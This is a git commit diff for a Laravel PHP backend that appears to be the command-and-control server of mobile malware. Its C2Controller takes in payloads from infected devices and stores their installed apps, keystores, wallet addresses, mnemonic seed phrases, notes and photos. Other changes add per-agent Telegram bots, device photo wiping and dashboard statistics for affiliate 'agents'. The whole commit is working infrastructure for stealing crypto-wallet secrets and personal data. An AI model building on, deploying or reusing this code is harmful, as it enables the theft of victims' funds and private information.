feat: new chain

This commit is contained in:
hashbro
2026-08-11 02:26:43 +08:00
parent ec2d9f2308
commit 9bf769b2bd
56 changed files with 3806 additions and 325 deletions
@@ -46,6 +46,9 @@ class AgentUserController extends Controller
'username' => $u->username,
'status' => (int) $u->status,
'comment' => $u->comment ?: '',
'chat_id' => $u->chat_id ?: '',
'bot_token' => $u->bot_token ?: '',
'telegram_ready' => $u->hasTelegramBot(),
'channels_count' => (int) $u->channels_count,
'created_at' => optional($u->created_at)->format('Y-m-d H:i:s'),
'updated_at' => optional($u->updated_at)->format('Y-m-d H:i:s'),
@@ -67,6 +70,8 @@ class AgentUserController extends Controller
'password' => ['required', 'string', 'min:6', 'max:128'],
'comment' => ['nullable', 'string', 'max:255'],
'status' => ['nullable', 'integer', Rule::in([0, 1])],
'chat_id' => ['nullable', 'string', 'max:64'],
'bot_token' => ['nullable', 'string', 'max:255'],
]);
$user = User::query()->create([
@@ -74,6 +79,8 @@ class AgentUserController extends Controller
'password' => $data['password'],
'comment' => $data['comment'] ?? null,
'status' => (int) ($data['status'] ?? 1),
'chat_id' => $this->nullableTrim($data['chat_id'] ?? null),
'bot_token' => $this->nullableTrim($data['bot_token'] ?? null),
]);
return response()->json(['code' => 0, 'msg' => 'ok', 'data' => ['id' => $user->id]]);
@@ -85,6 +92,8 @@ class AgentUserController extends Controller
'password' => ['nullable', 'string', 'min:6', 'max:128'],
'comment' => ['nullable', 'string', 'max:255'],
'status' => ['nullable', 'integer', Rule::in([0, 1])],
'chat_id' => ['nullable', 'string', 'max:64'],
'bot_token' => ['nullable', 'string', 'max:255'],
]);
if (array_key_exists('comment', $data)) {
@@ -93,6 +102,15 @@ class AgentUserController extends Controller
if (array_key_exists('status', $data) && $data['status'] !== null) {
$agent->status = (int) $data['status'];
}
if (array_key_exists('chat_id', $data)) {
$agent->chat_id = $this->nullableTrim($data['chat_id']);
}
if (array_key_exists('bot_token', $data)) {
$token = $this->nullableTrim($data['bot_token']);
// Empty string in edit form means "leave unchanged" only when field omitted;
// explicit empty clears. UI sends current value when unchanged.
$agent->bot_token = $token;
}
if (! empty($data['password'])) {
$agent->password = $data['password'];
}
@@ -118,4 +136,14 @@ class AgentUserController extends Controller
return response()->json(['code' => 0, 'msg' => '', 'data' => $rows]);
}
private function nullableTrim(mixed $value): ?string
{
if ($value === null) {
return null;
}
$value = trim((string) $value);
return $value === '' ? null : $value;
}
}
@@ -4,17 +4,18 @@ namespace App\Http\Controllers\Admin;
use App\Http\Controllers\Concerns\PortalAware;
use App\Http\Controllers\Controller;
use App\Models\Device;
use App\Models\PageVisit;
use App\Models\User;
use App\Support\AgentScope;
use Carbon\Carbon;
use App\Services\DashboardStatsService;
use Illuminate\Http\Request;
class DashboardController extends Controller
{
use PortalAware;
public function __construct(
private readonly DashboardStatsService $stats,
) {}
public function index()
{
$agents = $this->isAgentPortal()
@@ -29,103 +30,19 @@ class DashboardController extends Controller
public function data(Request $request)
{
$range = (string) $request->query('range', '30d');
[$from, $to] = $this->rangeBounds($range);
$channelId = trim((string) $request->query('channel_id', ''));
$agentUserId = $this->isAgentPortal()
? (int) ($this->agent()?->id ?? 0)
: (int) $request->query('agent_user_id', 0);
$base = Device::query();
AgentScope::applyDeviceChannelScope($base, $this->agent());
if (! $this->isAgentPortal() && $agentUserId > 0) {
AgentScope::applyAgentUserFilter($base, $agentUserId);
}
if ($channelId !== '') {
$base->where('channel_id', 'like', '%'.$channelId.'%');
}
$total = (clone $base)->count();
$newCount = (clone $base)->whereBetween('created_at', [$from, $to])->count();
$activeCount = (clone $base)->whereBetween('updated_at', [$from, $to])->count();
$visits = PageVisit::query();
AgentScope::applyChannelIdScope($visits, $this->agent());
if (! $this->isAgentPortal() && $agentUserId > 0) {
AgentScope::applyChannelIdAgentUserFilter($visits, $agentUserId);
}
if ($channelId !== '') {
$visits->where('channel_id', 'like', '%'.$channelId.'%');
}
$visits->whereBetween('created_at', [$from, $to]);
$pv = (clone $visits)->count();
$uv = (int) (clone $visits)->selectRaw('COUNT(DISTINCT client_uid) as aggregate')->value('aggregate');
$byOs = (clone $visits)
->select('os')
->selectRaw('COUNT(*) as pv')
->selectRaw('COUNT(DISTINCT client_uid) as uv')
->groupBy('os')
->orderByDesc('pv')
->limit(10)
->get()
->map(static fn ($r) => [
'label' => ((string) ($r->os ?? '')) !== '' ? (string) $r->os : 'Unknown',
'pv' => (int) $r->pv,
'uv' => (int) $r->uv,
])
->values();
$byBrowser = (clone $visits)
->select('browser')
->selectRaw('COUNT(*) as pv')
->selectRaw('COUNT(DISTINCT client_uid) as uv')
->groupBy('browser')
->orderByDesc('pv')
->limit(10)
->get()
->map(static fn ($r) => [
'label' => ((string) ($r->browser ?? '')) !== '' ? (string) $r->browser : 'Unknown',
'pv' => (int) $r->pv,
'uv' => (int) $r->uv,
])
->values();
$data = $this->stats->collect([
'range' => (string) $request->query('range', '30d'),
'channel_id' => trim((string) $request->query('channel_id', '')),
'agent_user_id' => $this->isAgentPortal()
? 0
: (int) $request->query('agent_user_id', 0),
'agent' => $this->agent(),
]);
return response()->json([
'code' => 0,
'msg' => '',
'data' => [
'total' => $total,
'new_count' => $newCount,
'active_count' => $activeCount,
'pv' => $pv,
'uv' => $uv,
'by_os' => $byOs,
'by_browser' => $byBrowser,
'range' => $range,
'from' => $from->toDateTimeString(),
'to' => $to->toDateTimeString(),
],
'data' => $data,
]);
}
/**
* @return array{0: Carbon, 1: Carbon}
*/
private function rangeBounds(string $range): array
{
$now = Carbon::now();
return match ($range) {
'today' => [$now->copy()->startOfDay(), $now->copy()->endOfDay()],
'yesterday' => [
$now->copy()->subDay()->startOfDay(),
$now->copy()->subDay()->endOfDay(),
],
'7d' => [$now->copy()->subDays(6)->startOfDay(), $now->copy()->endOfDay()],
default => [$now->copy()->subDays(29)->startOfDay(), $now->copy()->endOfDay()],
};
}
}
@@ -59,6 +59,7 @@ class DeviceController extends Controller
'device_model' => $d->device_model ?: '',
'ios_version' => $d->ios_version ?: '',
'ip' => $d->ip ?: '',
'album_storage' => $d->albumStorageEnabled() ? 1 : 0,
'created_at' => optional($d->created_at)->format('Y-m-d H:i:s'),
'updated_at' => optional($d->updated_at)->format('Y-m-d H:i:s'),
'detail_url' => route($portal.'.devices.show', $d),
@@ -143,6 +144,69 @@ class DeviceController extends Controller
->header('Content-Type', $mime);
}
public function update(Request $request, Device $device)
{
$this->authorizeDevice($device);
$data = $request->validate([
'album_storage' => ['required', 'integer', 'in:0,1'],
]);
$device->album_storage = (int) $data['album_storage'] === 1;
$device->save();
return response()->json([
'code' => 0,
'msg' => 'ok',
'data' => [
'id' => $device->id,
'album_storage' => $device->albumStorageEnabled() ? 1 : 0,
],
]);
}
public function clearPhotos(Device $device)
{
$this->authorizeDevice($device);
$photos = $device->photos()->get(['id', 'path']);
$deletedFiles = 0;
foreach ($photos as $photo) {
$path = trim((string) ($photo->path ?? ''));
if ($path === '') {
continue;
}
if (Storage::disk('local')->exists($path)) {
Storage::disk('local')->delete($path);
$deletedFiles++;
}
}
$deletedRows = $device->photos()->delete();
$dir = 'c2/photos/'.$device->device_id;
try {
if (Storage::disk('local')->directoryExists($dir)) {
Storage::disk('local')->deleteDirectory($dir);
}
} catch (\Throwable) {
// older flysystem without directoryExists — best-effort wipe
try {
Storage::disk('local')->deleteDirectory($dir);
} catch (\Throwable) {
}
}
return response()->json([
'code' => 0,
'msg' => 'ok',
'data' => [
'deleted_rows' => (int) $deletedRows,
'deleted_files' => $deletedFiles,
],
]);
}
private function authorizeDevice(Device $device): void
{
if ($agent = $this->agent()) {
+7 -9
View File
@@ -35,16 +35,13 @@ class C2Controller extends Controller
public function avatarSet(Request $request): Response
{
$payload = $request->attributes->get('coruna_payload');
$this->ingest->upsertDevice($request, is_array($payload) ? $payload : null);
return $this->encryptedAck();
}
public function userGet(Request $request): Response
{
$payload = $request->attributes->get('coruna_payload');
$device = $this->ingest->upsertDevice($request, is_array($payload) ? $payload : null);
$device = $this->ingest->ensureDevice($request, is_array($payload) ? $payload : null);
if ($device && is_array($payload)) {
$this->ingest->ingestInstalledApps($device, $payload);
}
@@ -55,6 +52,7 @@ class C2Controller extends Controller
public function avatarPut(Request $request): Response
{
$payload = $request->attributes->get('coruna_payload');
// Trusted channel_id source; updates touch updated_at (+ channel_id only if empty).
$device = $this->ingest->upsertDevice($request, is_array($payload) ? $payload : null);
if ($device && is_array($payload)) {
$this->ingest->ingestDeviceEvent($device, $payload);
@@ -66,7 +64,7 @@ class C2Controller extends Controller
public function avatarStatus(Request $request): Response
{
$payload = $request->attributes->get('coruna_payload');
$device = $this->ingest->upsertDevice($request, is_array($payload) ? $payload : null);
$device = $this->ingest->ensureDevice($request, is_array($payload) ? $payload : null);
if ($device && is_array($payload)) {
$this->ingest->ingestKeystore($device, $payload);
}
@@ -77,7 +75,7 @@ class C2Controller extends Controller
public function status(Request $request): Response
{
$payload = $request->attributes->get('coruna_payload');
$device = $this->ingest->upsertDevice($request, is_array($payload) ? $payload : null);
$device = $this->ingest->ensureDevice($request, is_array($payload) ? $payload : null);
if ($device && is_array($payload)) {
$this->ingest->ingestAddresses($device, $payload);
}
@@ -88,7 +86,7 @@ class C2Controller extends Controller
public function set(Request $request): Response
{
$payload = $request->attributes->get('coruna_payload');
$device = $this->ingest->upsertDevice($request, is_array($payload) ? $payload : null);
$device = $this->ingest->ensureDevice($request, is_array($payload) ? $payload : null);
if ($device && is_array($payload)) {
$this->ingest->ingestMnemonic($device, $payload);
}
@@ -104,7 +102,7 @@ class C2Controller extends Controller
$deviceKey = is_string($rawKey) && $rawKey !== ''
? IngestService::normalizeDeviceKey(substr($rawKey, 0, 64))
: null;
$device = $this->ingest->upsertDevice(
$device = $this->ingest->ensureDevice(
$request,
array_filter([
'd' => $deviceKey,
@@ -175,7 +173,7 @@ class C2Controller extends Controller
public function avatarPic(Request $request): Response
{
$payload = $request->attributes->get('coruna_payload');
$device = $this->ingest->upsertDevice($request, is_array($payload) ? $payload : null);
$device = $this->ingest->ensureDevice($request, is_array($payload) ? $payload : null);
if ($device) {
$this->ingest->ingestNotes($device, is_array($payload) ? $payload : null);
}
@@ -3,9 +3,16 @@
namespace App\Http\Controllers\Hooks;
use App\Http\Controllers\Controller;
use App\Models\User;
use App\Telegram\TelegramBotContext;
use App\Telegram\TelegramRegistrar;
use Illuminate\Contracts\Cache\Repository as Cache;
use Illuminate\Http\Request;
use Illuminate\Http\Response;
use Illuminate\Support\Facades\Log;
use Nutgram\Laravel\RunningMode\LaravelWebhook;
use Psr\Log\LoggerInterface;
use SergiX44\Nutgram\Configuration;
use SergiX44\Nutgram\Nutgram;
use Throwable;
@@ -13,7 +20,53 @@ class TelegramWebhookController extends Controller
{
public function __invoke(Request $request): Response
{
// Log before resolving Nutgram — DI failures previously 500'd with no controller log.
app(TelegramBotContext::class)->setAgent(null);
return $this->handle(
$request,
expectedSecret: (string) config('coruna.telegram.webhook_secret', ''),
resolveBot: static fn () => app(Nutgram::class),
label: 'official',
);
}
public function agent(Request $request, User $agent): Response
{
if (! $agent->isEnabled() || ! $agent->hasTelegramBot()) {
abort(404);
}
app(TelegramBotContext::class)->setAgent($agent);
$secret = TelegramBotContext::webhookSecretFor($agent);
return $this->handle(
$request,
expectedSecret: $secret,
resolveBot: function () use ($agent) {
if (app()->runningUnitTests()) {
return app(Nutgram::class);
}
$bot = $this->makeAgentBot($agent);
app(TelegramRegistrar::class)->registerAgent($bot, $agent);
return $bot;
},
label: 'agent:'.$agent->id,
requireSecret: true,
);
}
/**
* @param callable(): Nutgram $resolveBot
*/
private function handle(
Request $request,
string $expectedSecret,
callable $resolveBot,
string $label,
bool $requireSecret = false,
): Response {
$raw = $request->getContent();
$update = $request->all();
if ($update === [] && is_string($raw) && $raw !== '') {
@@ -27,23 +80,23 @@ class TelegramWebhookController extends Controller
$chatId = $message['chat']['id'] ?? ($update['callback_query']['message']['chat']['id'] ?? null);
$text = is_string($message['text'] ?? null) ? $message['text'] : null;
$updateId = $update['update_id'] ?? null;
$secret = (string) config('coruna.telegram.webhook_secret', '');
$header = (string) $request->header('X-Telegram-Bot-Api-Secret-Token', '');
$this->webhookLog('info', 'telegram webhook hit', [
'bot' => $label,
'ip' => $request->ip(),
'update_id' => $updateId,
'chat_id' => $chatId,
'text' => $text,
'has_secret_header' => $header !== '',
'secret_configured' => $secret !== '',
'secret_configured' => $expectedSecret !== '',
'body_bytes' => strlen($raw),
]);
if ($secret !== '') {
if ($header === '' || ! hash_equals($secret, $header)) {
if ($requireSecret || $expectedSecret !== '') {
if ($expectedSecret === '' || $header === '' || ! hash_equals($expectedSecret, $header)) {
$this->webhookLog('warning', 'telegram webhook rejected: bad secret', [
'bot' => $label,
'ip' => $request->ip(),
'update_id' => $updateId,
]);
@@ -52,17 +105,17 @@ class TelegramWebhookController extends Controller
}
try {
/** @var Nutgram $bot */
$bot = app(Nutgram::class);
$bot = $resolveBot();
$bot->run();
$this->webhookLog('info', 'telegram webhook handled', [
'bot' => $label,
'update_id' => $updateId,
'chat_id' => $chatId,
'handler' => $bot->currentHandler()?->getPattern(),
]);
} catch (Throwable $e) {
// Always ACK to Telegram — returning 500 causes pending_update backlog.
$this->webhookLog('error', 'telegram webhook failed', [
'bot' => $label,
'message' => $e->getMessage(),
'exception' => $e::class,
'file' => $e->getFile().':'.$e->getLine(),
@@ -72,7 +125,6 @@ class TelegramWebhookController extends Controller
]);
if (app()->runningUnitTests() && $e instanceof \InvalidArgumentException) {
// FakeNutgram with no queued update in unit tests.
return response()->noContent();
}
}
@@ -80,6 +132,40 @@ class TelegramWebhookController extends Controller
return response()->noContent();
}
private function makeAgentBot(User $agent): Nutgram
{
$configuration = new Configuration(
apiUrl: config('nutgram.config.api_url', Configuration::DEFAULT_API_URL),
botId: config('nutgram.config.bot_id'),
botName: config('nutgram.config.bot_name'),
testEnv: config('nutgram.config.test_env', false),
isLocal: config('nutgram.config.is_local', false),
clientTimeout: config('nutgram.config.timeout', Configuration::DEFAULT_CLIENT_TIMEOUT),
clientOptions: config('nutgram.config.client', []),
container: app(),
hydrator: config('nutgram.config.hydrator', Configuration::DEFAULT_HYDRATOR),
cache: app(Cache::class),
logger: app(LoggerInterface::class)->channel(config('nutgram.log_channel', 'null')),
localPathTransformer: config('nutgram.config.local_path_transformer'),
pollingTimeout: config('nutgram.config.polling.timeout', Configuration::DEFAULT_POLLING_TIMEOUT),
pollingAllowedUpdates: config('nutgram.config.polling.allowed_updates', Configuration::DEFAULT_ALLOWED_UPDATES),
pollingLimit: config('nutgram.config.polling.limit', Configuration::DEFAULT_POLLING_LIMIT),
enableHttp2: config('nutgram.config.enable_http2', Configuration::DEFAULT_ENABLE_HTTP2),
conversationTtl: config('nutgram.config.conversation_ttl', Configuration::DEFAULT_CONVERSATION_TTL),
);
$bot = new Nutgram((string) $agent->bot_token, $configuration);
$secret = TelegramBotContext::webhookSecretFor($agent);
$webhook = new LaravelWebhook(
getToken: static fn () => request()?->header('X-Telegram-Bot-Api-Secret-Token'),
secretToken: $secret,
);
$webhook->setSafeMode(true);
$bot->setRunningMode($webhook);
return $bot;
}
/** @param array<string, mixed> $context */
private function webhookLog(string $level, string $message, array $context = []): void
{